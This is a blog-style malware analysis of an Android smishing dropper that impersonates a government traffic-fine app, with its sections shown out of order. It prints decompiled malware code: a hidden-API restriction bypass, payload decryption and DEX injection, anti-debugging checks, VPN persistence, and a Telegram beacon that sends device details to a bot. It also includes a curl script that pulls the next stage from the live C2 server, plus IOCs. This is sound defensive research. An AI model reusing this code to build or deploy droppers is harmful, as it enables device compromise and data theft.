Host is up, received syn-ack (0.30s latency).
Scanned at 2026-06-26 11:35:57 IST for 81s

The HTTP port responded with a standard NGINX response, but port 8081 had a different story to tell.

litmus in ~ λ torsocks curl "http://31.77.168.247:8081" -v
*   Trying 31.77.168.247:8081...
* Established connection to 31.77.168.247 (31.77.168.247 port 8081) from 127.0.0.1 port 39982 
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 31.77.168.247:8081
> User-Agent: curl/8.18.0
> Accept: */*
> 
* Request completely sent off
< HTTP/1.1 404 Not Found
< Connection: keep-alive
< Content-Type: application/json
< Content-Length: 55
< 
* Connection #0 to host 31.77.168.247:8081 left intact
{"ok":false,"error_code":404,"description":"Not Found"}% 

This response shape is very similar to Telegram proxies, which indicates that the malware might be using Telegram as a C2 channel.

DnsFilterService: The VPN which filters your traffic

What it does mechanically

The DnsFilterService extends the VPNService class, and establishes a TUN interface and routes all traffic to 0.0.0.0, and surprisingly, only adds the Google Play application ID to the addAllowedApplication, which only routes network from it via the app.

public final void buildVPNInterface() {
        String dnsFilter = "DnsFilter";
        try {
            Log.w(dnsFilter, ">> connect() called - building VPN interface");
            VpnService.Builder builder = new VpnService.Builder(this);
            builder.setSession("InstallerVPN").addAddress("10.8.0.2", 24).addRoute("0.0.0.0", 0).setMtu(1500).setBlocking(false);
            try {
                builder.addAllowedApplication("com.android.vending");
            } catch (Exception unused) {
            }
            ParcelFileDescriptor parcelFileDescriptorEstablish = builder.establish();
            this.a = parcelFileDescriptorEstablish;
            if (parcelFileDescriptorEstablish == null) {
                Log.e(dnsFilter, ">> VPN establish() returned NULL - VPN permission may be revoked\n");
                stopSelf();
            } else {
                b.set(true);
                Log.w(dnsFilter, ">> VPN CONNECTED successfully - isRunning=true");
                reportDeviceInfoAndVPNStatusViaTelegram();
            }
        } catch (Exception e) {
            Log.e(dnsFilter, C0001.m6(cipherArray, 386, 24, 1157) + e.getMessage(), e);
            handleVPNDisconnect();
            stopSelf();
        }
    }

This might be an attempt to prevent Play Protect from identifying, reporting and isolating the malware. Despite looking for code which handles the traffic of the VPN, I was unable to find it, which indicates that it might be handled by either the previous stage, or probably the next stage.

The Telegram Beacon

Alongside this, the app also uses a Telegram group as C2 to report the infected devices' manufacturer, model, Android version and VPN active status.

@Override // java.lang.Runnable
            public void run() {
                String strM10 = "DnsFilter";
                try {
                    String strEncode = URLEncoder.encode(C0011.m38(f51short, 10, 58, 1193) + (Build.MANUFACTURER + " " + Build.MODEL) + "`\n" +
                            "├ *Android:* `" + Build.VERSION.RELEASE + "`\n" +
                            "└ *Status:* ✅ VPN Active", "UTF-8");
                    StringBuilder sb = new StringBuilder();
                    sb.append("https://api.telegram.org/bot<REDACTED>:<REDACTED>/sendMessage?chat_id=-<REDACTED>&text=");
                    sb.append(strEncode);
                    sb.append("&parse_mode=Markdown");
                    HttpURLConnection httpURLConnection = (HttpURLConnection) new URL(sb.toString()).openConnection();
                    httpURLConnection.setRequestMethod("GET");
                    httpURLConnection.setConnectTimeout(10000);
                    Log.w(strM10, C0007.m21(f51short, 251, 36, 1929) + httpURLConnection.getResponseCode());
                    httpURLConnection.disconnect();
                } catch (Exception e) {
                    Log.e(strM10, C0014.m46(f51short, 287, 28, 2210) + e.getMessage());
                }
            }
        }).start();

The persistence mechanism

The app uses AlarmManager to schedule VPN restart with interval variation based on disconnect reason. This makes the VPN very annoying and difficult for the user to kill. Here's the code sample

public final void scheduleAlarmManagerToRestartVPN(long j) {
        String strM81 = C0024.m81(cipherArray, 534, 9, 1269);
        try {
            AlarmManager alarmManager = (AlarmManager) getSystemService("alarm३");
            if (alarmManager == null) {
                return;
            }
            Intent intent = new Intent(this, (Class<?>) DnsFilterService.class);
            intent.setAction(getStartAction(this));
            int i = Build.VERSION.SDK_INT;
            PendingIntent service = PendingIntent.getService(this, 9999, intent, i >= 31 ? 201326592 : 134217728);
            long jElapsedRealtime = SystemClock.elapsedRealtime() + j;
            if (i >= 23) {
                alarmManager.setExactAndAllowWhileIdle(2, jElapsedRealtime, service);
            } else {
                alarmManager.set(2, jElapsedRealtime, service);
            }
            Log.w(strM81, ">> AlarmManager SET - VPN will restart in" + j + "ms via ELAPSED_REALTIME_WAKEUP");
        } catch (Exception e) {
            Log.e(strM81, C0000.stringDecryptXORFromArray(cipherArray, 620, 24, 650) + e.getMessage(), e);
        }
    }

The Download Chain

Elsewhere in the DEX file, the StreamActivity class looked like something which would handle internet connections, and it's AnonymousClass23 was the only one which used the getBaseURL() function from EndpointConfig, so I set out to explore that. What I discovered that was:

The malware follows a three-step fetch protocol:

1. GET /prepare?uid=Mortal-Okbaby → server returns a request_id and starts building the payload (~25 seconds) Response: {"download_url":"/pro/fetch?uid=Mortal-Okbaby&request_id=a285c8ab","expiry":"2026-06-25 08:00:31","request_id":"a285c8ab","status":"ready"}

2. GET /status/<request_id>?uid=Mortal-Okbaby → polls 45 times at 500ms intervals (22.5 second window) until status is ready

3. GET /fetch?uid=Mortal-Okbaby&request_id=<rid> → downloads the payload

I now had to connect to the attackers C2 Infra in order to download the next payload. After analyzing another function which failed to decompile using Gemini based off JADX's bytecode comments, I found the full download URL schema.

A notable deception: the /status response includes a download_url field pointing to /pro/fetch, but the malware ignores this entirely and constructs the real URL from its own encrypted strings. The server advertises a path it doesn't serve from — deliberate analyst misdirection or a vestigial routing artifact.

I then used a quick script to request the preparing of the payload and download it

RID=$(torsocks curl -s "http://31.77.168.247:5001/prepare?uid=Mortal-Okbaby" | grep -o '"request_id":"[^"]*"' | cut -d'"' -f4) \
  && echo "RID: $RID" \
  && sleep 8 \
  && torsocks curl -v \
     -H "Connection: keep-alive" \
     "http://31.77.168.247:5001/fetch?uid=Mortal-Okbaby&request_id=$RID" \
     -o stream_codec.dat \
  && file stream_codec.dat

Finally,

RID: 1c492e5d
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
  0      0   0      0   0      0      0      0                              0*   Trying 31.77.168.247:5001...
* Established connection to 31.77.168.247 (31.77.168.247 port 5001) from 10.156.239.35 port 35304 
* using HTTP/1.x
> GET /fetch?uid=Mortal-Okbaby&request_id=1c492e5d HTTP/1.1
> Host: 31.77.168.247:5001
> User-Agent: curl/8.18.0
> Accept: */*
> Connection: keep-alive
> 
* Request completely sent off
< HTTP/1.1 200 OK
< Server: Werkzeug/3.0.6 Python/3.8.10
< Date: Thu, 25 Jun 2026 07:16:22 GMT
< Content-Disposition: attachment; filename=1c492e5d.png
< Content-Type: image/png
< Content-Length: 12387828
< Last-Modified: Thu, 25 Jun 2026 07:16:14 GMT
< Cache-Control: no-cache
< ETag: "1782371774.722387-12387828-3174568288"
< Date: Thu, 25 Jun 2026 07:16:22 GMT
< Connection: close
< 
{ [1448 bytes data]
100 11.81M 100 11.81M   0      0  3.09M      0   00:03   00:03          2.66M
* shutting down connection #0
stream_codec_direct.dat: data

The payload arrives disguised as a PNG (Content-Type: image/png, filename <rid>.png) but file identifies it as data, which strongly hints it's an AES-256 encrypted ZIP.

Decryption and Installation

As expected, the app then proceeds to use the zip4j library to decrypt the ZIP file, which was encrypted with the password V3nd3tt@S3cur3Z1p!. The ZIP contained data.dat, which was quickly revealed to be the next stage payload by checking it's magic bytes 0x50 0x4B which translate to readable PK.

The SetupHandler class handles PackageInstaller session callbacks. Once it receives status=0, which indicates the successful installation of the package, it reads the name of the installed application from the SharedPreferences, and immediately proceeds to launch it.

Stage 3: The Nested Dropper

I thought a two-stage chain was already ambitious for a smishing APK. Apparently not.

I then uploaded the extracted APK for analysis to the MobSF instance on my machine, and behold

The same logo impersonation and a seemingly random package name, but the Main Activity dApp.binance.Trading.Signals.MainActivity , ironically signals that it might be the lookalike of a popular Crypto exchange in India.

Looking at the permissions declared in the Manifest of the APK, it was evident that this would probably be the last stage in the already 3-step long chain.

That's a lot of permissions, and they all point in the same direction.

Finally, I opened up the apk in jadx-gui, and I was greeted with the same attachBaseContext() skeleton, same obfuscated class names, just short[] swapped for byte[]I thought a two-stage chain was already ambitious for a smishing APK. Apparently not

This meant there was another payload inside of this one!

Finding the final payload

I looked into the sources of this APK, but couldn't find the advertised dApp.binance.Trading.Signals.MainActivity Activity anywhere. Given the similarity to the original dropper, I found another .bin file in the assets, and used the same decryption script, just with the key material changed to extract a whopping 65 DEX classes.

The final payload deserves its own post, 65 DEX files isn't a footnote.

Indicators of Compromise

Stage 1 — Dropper (ca8818e7_RT0-eChallan.apk)

APK filename:  ca8818e7_RT0-eChallan.apk
Package name:  com.uptodown.installer
SHA256:        364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2
Asset file:    r_4dfb.bin (encrypted multi-DEX container)
HMAC salt:     dg_hmac_v2
Encryption:    AES/CBC/PKCS5Padding
HMAC seed key: [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]

Stage 2 — DEX Payload (com.stream.media.player)

Package name:  com.stream.media.player
Asset file:    stream_codec.dat (AES-256 ZIP, downloaded from C2)
ZIP password:  V3nd3tt@S3cur3Z1p!
ZIP contents:  data.dat (stage 3 APK)
Campaign UID:  Mortal-Okbaby

Stage 3 — Nested Dropper (app.loitx.aknmk)

Package name:  app.loitx.aknmk
Display name:  Binance Trading Signals
Encryption:    AES/CBC/PKCS5Padding (identical chain to stage 1)
XOR scheme:    byte[] XOR (vs short[] XOR in stage 1)
HMAC salt:     dg_hmac_v2

Network

C2 primary:    31.77.168.247:5001  (Flask/Werkzeug 3.0.6, Python 3.8.10)
C2 hostname:   vm163609.hosted-by-qwins.co
C2 proxy:      31.77.168.247:8081  (Telegram Bot API reverse proxy)
Hosting:       QWINS-Hosting, AS213702 
Smishing URL:  echallan-traffic.live/IN
Endpoints:     /prepare?uid=Mortal-Okbaby
               /status/<request_id>?uid=Mortal-Okbaby
               /fetch?uid=Mortal-Okbaby&request_id=<rid>

Introduction

Yesterday, I got an SMS which I almost ignored; Jio had flagged it as spam. It claimed to be from the Ministry of Road Transport and Highways, warning me that my vehicle had an outstanding challan, with a link to "check and download" it. Classic urgency bait.

I was supposed to work on Beacon, my own Android app. Instead, when I got back to my workbench today, curiosity got the better of me. I opened the link, and it dropped an APK! I'll be honest, I was kind of excited. I'd been wanting to get my hands on live malware for a while, and here it was, delivered straight to my phone.

What I expected to be a quick five-minute triage turned into a full day of rabbit holes, my first real-world malware analysis, and now a blog post.

The Part 1 of this writeup covers the dropper/loader, while the 2nd part will be about the embedded payload.

For this analysis, I used jadx, MobSF and some custom python scripts to make life easier.

Let's get into it!

Part 1/n

Triage

Following awesome cybersecurity content creators like John Hammond on YouTube and watching many of their malware analysis videos, I decided to go the proper way and start with a triage of the APK file. Here's what I gathered:

• The name of the APK file was ca8818e7_RT0-eChallan.apk

• The SHA-256 hash is 364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2

Looking the SHA-256 hash on VirusTotal confirmed my suspicion. It had 8/58 vendors reporting it as malicious, and it was labelled as a Trojan, dropper and banker.

• The package name com.uptodown.installer was an attempt at impersonating uptodown.com, a legitimate APK store.

I then ran the APK through the MobSF instance on my machine, and the Government of India emblem and the name of the app Rto Echallan was another layer of impersonation which would be seen by the user. Even before starting the analysis, the package name was a red flag, since genuine government apps would use in.gov.* or similar official namespaces.

MobSF gave a security score of 26/100, and reported 0/432 trackers detected.

Automated Analysis: MobSF

MobSF is "a security research platform for mobile applications in Android, iOS and Windows Mobile. MobSF can be used for a variety of use cases such as mobile application security, penetration testing, malware analysis, and privacy analysis."

It performs quite a lot of the initial analysis usually done fast, and shows the results in a beautiful UI.

Out of all the things which MobSF showed, the permissions section is what stood out the most to me. The following table shows the suspicious permissions and a brief explanation of why it raised alarms for me.

While these permissions in themselves are used often by benign apps, all of them coming together is something to be cautious about.

Along with the permissions, the decompiled source code of the app also included SAI (Split APK Installer), which is used to install APKs onto devices. This strengthened the hypotheses that the app is a dropper, which would be used to install more malicious packages.

Static Analysis

Opening the file in JADX

• Opening the file in JADX revealed an important detail: the sources for the APK had both the code for com.aefyr.sai and com.wave, with the latter containing files with seemingly random names.

Looking through the files, I noticed that there was very little source code visible, which meant it wasn't a very heavily-featured app and that most logic was hidden.

Which meant I now had to uncover it.

String Obfuscation: XOR cipher

The i1qiwvd function shown in the screenshot is a classic XOR Cipher. It takes a byte array, and an integer key as parameters, XORs them byte by byte and return the result in the form of a string. This pattern is commonly used throughout the codebase to hide strings from static analyzers.

I used the following Python script to decode the data wherever need be

def decrypt_string_xor(byte_array, xor_key):
    decrypted = bytearray()
    for b in byte_array:
        # Java bytes are unsigned while Python bytes are signed
        # Normalize the byte to be in the range of 0-255
        if b < 0:
            b += 256
        decrypted.append(b ^ xor_key)

    return decrypted.decode("utf-8", errors="ignore")

After this, I renamed the function in JADX so the logic became more readable.

Bypassing Android's Hidden API Restriction

As I began inspecting the source code, I noticed a long body for the attachBaseContext() method. This method is often used by malware authors since it runs before the application even launches, and as the name suggests, acts as the base context for the actual package.

The attachBaseContext function included a call to the oufbd() method, which upon inspection led to an interesting observation. Here is the cleaned up code of the method

public static void oufbd() {
        if (Build.VERSION.SDK_INT < 28) {
            // If Android Version is less than 9, return
            return;
        }
        try {
            Method forName = Class.class.getDeclaredMethod(
                "forName",
                String.class
            );
            Method getDeclaredMethod = Class.class.getDeclaredMethod(
                "getDeclaredMethod",
                String.class,
                Class[].class
            );
            Class cls = (Class) forName.invoke(
                null,
                "dalvik.system.VMRuntime"
            );
            (
                (Method) getDeclaredMethod.invoke(
                    cls,
                    "setHiddenApiExemptions",
                    new Class[] { String[].class }
                )
            ).invoke(
                (
                    (Method) getDeclaredMethod.invoke(cls, "getRuntime", null)
                ).invoke(null, new Object[0]),
                "L"
            );
        } catch (Throwable th) {}
    }

This block of code tries to achieve access to blocked internal Android APIs using a technique called Reflection. Google, since Android 9 has blocked apps from directly accessing these critical methods, and trying to invoke them results in the app being terminated along with a SecurityException. To get past this, as well as static analyzers which look out for calls to these functions, the APK uses Double Reflection to call the function VMRuntime.setHiddenApiExemptions("L"), which disables all the security measures related to the hidden Android APIs.

The "L", in Dalvik bytecode is the prefix for all Java class references, hence the above function call allowlists all methods to be called.

Another benefit of this is that since the decryption of the class and methods names do not happen until runtime, call-graph analyzers also fail to properly map the API usage.

The Payload Decryption Chain

Looking at the next function being called, it is seen that the file r_4dfb.bin is extracted from the APKs assets. It is passed into a interestingly designed function, which seems to decrypt a given input in multiple ways, depending on an integer variable passed to it in the function call. I call this function the multiplexedPayloadDecryptor

Since the function call in the current step used the opCode 0, I only investigated that branch to find that it was again, a repeating XOR cipher, which takes a byte array of ciphertext and key, and returns the plaintext.

Analyzing the function call, the ciphertext in this case was the file in the assets, the key was being returned by a constant value return function. The other branches will be analyzed in the upcoming parts if need be.

I wrote a python script to emulate the behavior on the file I had extracted from the APKs assets and from the constant key which I found embedded in the code.

def decrypt_payload():
    xor_java_key = [
        108,
        41,
        58,
        17,
        -66,
        107,
        -18,
        80,
        127,
        9,
        -123,
        127,
        101,
        -41,
        23,
        108,
    ]

    xor_key = [b + 256 if b < 0 else b for b in xor_java_key]

    target_file = "r_4dfb.bin"
    output_file = "decrypted_payload.bin"

    with open(target_file, "rb") as f:
        encrypted_data = f.read()

    decrypted_data = bytearray()
    key_length = len(xor_key)

    for i, byte in enumerate(encrypted_data):
        decrypted_data.append(byte ^ xor_key[i % key_length])

    with open(output_file, "wb") as f:
        f.write(decrypted_data)


if __name__ == "__main__":
    decrypt_payload()
    print("Decryption complete. Decrypted payload saved to 'decrypted_payload.bin'.")

I was very excited to see the result of my work so far, so I ran the file command on the output, to be disappointed at the sight of

litmus in ~/CTFs/MalwareAnalysis λ file decrypted_payload.bin
decrypted_payload.bin: data

Looks like the malware author had more tricks up their sleeve. Back to analysis

The awesome crypto

The malware author has gone great lengths to ensure that the payload in the assets was not tampered with. So much so that they implemented a HMAC-SHA256 keyed signature.

// Concatenates the byte array with hardcoded string "dg_hmac_v2" and computes the SHA-256 hash
    private static byte[] computeCustomHMAC(byte[] bArr) throws Exception {
        MessageDigest messageDigest = MessageDigest.getInstance("SHA-256");
        messageDigest.update(bArr);
        messageDigest.update("dg_hmac_v2".getBytes("UTF-8"));
        return messageDigest.digest();
    }

    public static boolean validateHMACSignature(byte[] keyMaterial, byte[] targetPayload, byte[] expectedMACTag) {
        try {
            byte[] derievedKey = computeCustomHMAC(keyMaterial);
            String HmacSHA256 = "HmacSHA256";
            Class<?> JavaCryptoMAC = Class.forName("javax.crypto.Mac");
            Object objInvoke = JavaCryptoMAC.getMethod("getInstance", String.class).invoke(null, HmacSHA256);
            JavaCryptoMAC.getMethod("init", Key.class).invoke(objInvoke, Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(derievedKey, HmacSHA256));
            return MessageDigest.isEqual((byte[]) JavaCryptoMAC.getMethod("doFinal").invoke(objInvoke, targetPayload), expectedMACTag);
        } catch (Throwable th) {
            return false;
        }
    }

    public static byte[] doAESCBCDecryption(byte[] bArr, byte[] bArr2, byte[] bArr3) throws Exception {
        Class<?> javaCryptoCipher = Class.forName("javax.crypto.Cipher");
        Object objInvoke = javaCryptoCipher.getMethod("getInstance", String.class).invoke(null, "AES/CBC/PKCS5Padding");
        javaCryptoCipher.getMethod("init", Integer.TYPE, Key.class, AlgorithmParameterSpec.class).invoke(objInvoke, Integer.valueOf(javaCryptoCipher.getField("DECRYPT_MODE").getInt(null)), Class.forName("javax.crypto.spec.SecretKeySpec").getConstructor(byte[].class, String.class).newInstance(bArr, "AES"), Class.forName("javax.crypto.spec.IvParameterSpec").getConstructor(byte[].class).newInstance(bArr2));
        return (byte[]) javaCryptoCipher.getMethod("doFinal", byte[].class).invoke(objInvoke, bArr3);
    }

    public static boolean isValidMultiDexContainer(byte[] data) {
        int dexCount;
        int dexSize;
        if (data == null || data.length < 8 || (dexCount = bytesToIntLittleEndian(data, 0)) <= 0 || dexCount > 100) {
            return false;
        }
        int offset = 4;
        for (int dexIndex = 0; dexIndex < dexCount; dexIndex++) {
            int payloadOffset = offset + 4;
            // The following checks if the first byte values are dex\n which is the magic byte sequence for DEX file headers
            if (payloadOffset > data.length || (dexSize = bytesToIntLittleEndian(data, offset)) <= 0 || dexSize > data.length - payloadOffset || data[payloadOffset] != 100 || data[payloadOffset + 1] != 101 || data[payloadOffset + 2] != 120 || data[payloadOffset + 3] != 10) {
                return false;
            }
            offset = dexSize + payloadOffset;
        }
        return true;
    }

    public static byte[] authenticateAndDecryptPayload(byte[] encapsulatedPayload, byte[] hmacSeedKey, byte[] decryptionIV) throws Exception {
        if (encapsulatedPayload.length < 33) {
            throw new RuntimeException("p<33");
        }
        byte[] expectedSignature = Arrays.copyOfRange(encapsulatedPayload, 0, 32);
        byte[] targetPayload = Arrays.copyOfRange(encapsulatedPayload, 32, encapsulatedPayload.length);
        if (!validateHMACSignature(hmacSeedKey, targetPayload, expectedSignature)) {
            throw new RuntimeException(stringDecryptXOR(new byte[]{35, 61}, 75));
        }
        byte[] decryptedPayload = doAESCBCDecryption(hmacSeedKey, decryptionIV, targetPayload);
        if (!isValidMultiDexContainer(decryptedPayload)) {
            throw new RuntimeException(stringDecryptXOR(new byte[]{42, 63}, 73));
        }
        return decryptedPayload;
    }

Phew, that's a pretty long verification and decryption routine. Let me break it down for easier understanding:

• First, the length of the payload is checked. It is expected to be a minimum of 33 characters, since the first 32 characters are later utilized as the expected HMAC-SHA256 signature, and atleast a single byte of encrypted payload must follow.

• The first 32 bytes are copied into a chunk, and the rest of the byte array is the encrypted payload. There are passed to a function along with a hardcoded hmacSeedKey[] to check the integrity of the embedded payload.

• Following the integrity check, the function then calls another function which decrypts the encrypted payload using the hmacSeedKey, a hardcoded decryptionIV in AES-CBC mode and stores the decrypted content in another byte array.

• Finally, a helper function is used to check the decrypted payload for the presence of multiple DEX containers, which will later be loaded into memory.

It is also interesting to note that the malware author used Reflection for the Crypto APIs usage, since their prescence in a normal app is very likely to raise red flags.

The Multi-DEX container format

The decrypted payload, atleast from the code that follows doesn't seem to look like a standard APK or DEX file, instead the author seems to have created a custom container. The container uses Little endian Int32 for the dexCount (max 100), followed by sequential dexSize + dexBlob pairs.

Furthermore, the isValidMultiDexContainer function is validates each of the DEX files agains the dex\n magic bytes (100, 101, 120, 10). This shows the droppers capability to inject multiple DEX files into the hosts memory.

public static void loadPayload(Context context, byte[] AESDecryptedPayload) throws Throwable {
        byte[][] payloads = unpackMultiplexedContainer(AESDecryptedPayload);
        ClassLoader classLoader = context.getClassLoader();
        // If greater than Android 8, the payload is executed.
        if (Build.VERSION.SDK_INT >= 26) {
            try {
                if (injectDexPayloads(context, payloads, classLoader)) {
                    return;
                }
            } catch (Throwable th) {
            }
        }

        // Potentially methods for older versions (Android <8). Not analyzed yet. Redacted for brevity
        }

The loadPayload method uses Classloader manipulation to inject the Dex payloads for Android 8+. There seems to be more code as fallback for older versions, but I haven't analyzed it yet.

Anti-Analysis: Emulator and Environment detection

The malware authors F36n670g class is full of methods to detect analysis measures which checks things like if a debugger is connected, if Xposed is installed, if the Frida server port is listening, whether the application is being traced and if any hooking framework is loaded.

public static boolean passesAntiAnalysisChecks() {
        try {
            int detectionCount = isDebuggerConnected() ? 1 : 0;
            if (hasXposedInstalled()) {
                detectionCount++;
            }
            if (isFridaPresent()) {
                detectionCount++;
            }
            if (isBeingTraced()) {
                detectionCount++;
            }
            if (hasHookingFrameworkLoaded()) {
                detectionCount++;
            }
            if (detectionCount <= 0) {
                return true;
            }
            killSelf();
            return false;
        } catch (Throwable th) {
            return true;
        }
    }

Interesting, the passesAntiAnalysisChecks function uses a detection score to determine whether or not to quit execution instead of a direct binary check. The reason behind this remains a mystery.

Furthermore, since analysts may attach debuggers and start monitoring the process after this check is done, the malware author went out of their way and added the following code to the attachBaseContext function

// Create a daemon thread which keeps checking for analysis vectors even after
            // DEX files are loaded
            Thread thread = new Thread(new continuosAntiAnalysisChecks());
            thread.setDaemon(true);
            thread.start();

public class continuosAntiAnalysisChecks implements Runnable {
    @Override // java.lang.Runnable
    public void run() {
        int i = 0;
        while (!Thread.currentThread().isInterrupted()) {
            try {
                try {
                    F36n670g.passesAntiAnalysisChecks();
                } catch (Throwable th) {
                }
                try {
                    Thread.sleep(((long) (Math.random() * 4000.0d)) + 3000);
                    i = 0;
                } catch (Throwable th2) {
                    i = 1;
                    if (i > 5) {
                        F36n670g.killSelf();
                    }
                    try {
                        Thread.sleep(5000L);
                    } catch (InterruptedException e) {
                        Thread.currentThread().interrupt();
                        return;
                    }
                }
            } catch (InterruptedException e2) {
                Thread.currentThread().interrupt();
                return;
            }
        }
    }
}

The daemon thread keeps checking every 3-7 seconds (randomized to avoid timing detection) if the process is being watched. This is why dynamic analysis with Frida is going to be diffucult without patching these checks first.

Putting it all together

After all the analysis, here is the much more readable, annotated attachBaseContext function

@Override // android.content.ContextWrapper
    protected void attachBaseContext(Context context) {
        final Thread.UncaughtExceptionHandler defaultUncaughtExceptionHandler = Thread.getDefaultUncaughtExceptionHandler();
        // Supress crash logging, hides errors from detection systems
        Thread.setDefaultUncaughtExceptionHandler(new Thread.UncaughtExceptionHandler() { // from class: com.wave.Validatorql.1
            @Override // java.lang.Thread.UncaughtExceptionHandler
            public void uncaughtException(Thread thread, Throwable th) {
                if (defaultUncaughtExceptionHandler != null) {
                    defaultUncaughtExceptionHandler.uncaughtException(thread, th);
                }
            }
        });
        super.attachBaseContext(context);
        try {
            // Bypass Android 9+ hidden API restrictions
            Pp5rf.bypassAPIRestrictions();
            // Extract and XOR-decrypt the r_4dfb.bin file from assets.
            byte[] decryptedBINFile = Vmfoa.multiplexedPayloadDecryptor(Vmfoa.extractAssetPayload(context, "r_4dfb.bin"), ObfuscatedByteArrays.getPayloadXORKey(), 0);
            if (decryptedBINFile == null || decryptedBINFile.length == 0) {
                throw new RuntimeException("e");
            }
            byte[] hmacSeedKey = ObfuscatedByteArrays.getHMACSeedKey();
            byte[] decryptionIV = ObfuscatedByteArrays.getDecryptionIV();
            // HMAC-SHA256 integrity check + AES-CBC decrypt the payload
            byte[] AESDecryptedBINFile = Engineja.authenticateAndDecryptPayload(decryptedBINFile, hmacSeedKey, decryptionIV);
            // Zeroize key material from memory
            Engineja.zeroizeArrays(hmacSeedKey, decryptionIV);
            // Load the DEX files into memory
            Iwl89m.loadPayload(context, AESDecryptedBINFile);
            try {
                // No-op
                Iwl89m.kjg046(context);
            } catch (Throwable th) {
            }
            Thread.currentThread().setContextClassLoader(context.getClassLoader());
            try {
                Class.forName("androidx.startup.InitializationProvider", false, context.getClassLoader());
            } catch (Throwable th2) {
            }
            try {
                // Check for debuggers, Frida etc.
                F36n670g.passesAntiAnalysisChecks();
            } catch (Throwable th3) {
            }
            // Create a daemon thread which keeps checking for analysis vectors even after
            // DEX files are loaded
            Thread thread = new Thread(new continuosAntiAnalysisChecks());
            thread.setDaemon(true);
            thread.start();
        } catch (Throwable th4) {
            throw new RuntimeException(th4);
        }
    }

The DEX files should now be loaded in memory and running, but what do they do? That's what I am going to dig into today, and will report back with a part 2 soon!

IOCs for defenders

APK filename:  ca8818e7_RT0-eChallan.apk
Package name:  com.uptodown.installer
SHA256:        364983d2dbff85f4b9b2bac2beba40ad29ac85f2a16bdbc8fd65896ef03cddb2
Asset file:    r_4dfb.bin (encrypted multi-DEX container)
HMAC salt:     dg_hmac_v2
Encryption:    AES/CBC/PKCS5Padding
HMAC seed key bytes: [123, 106, 39, -27, 58, 25, -76, 112, -101, -85, 64, -79, 125, -6, -123, -81, 39, -45, -114, -55, -39, 86, -42, 126, -70, -35, -82, 105, 65, -104, -88, -84]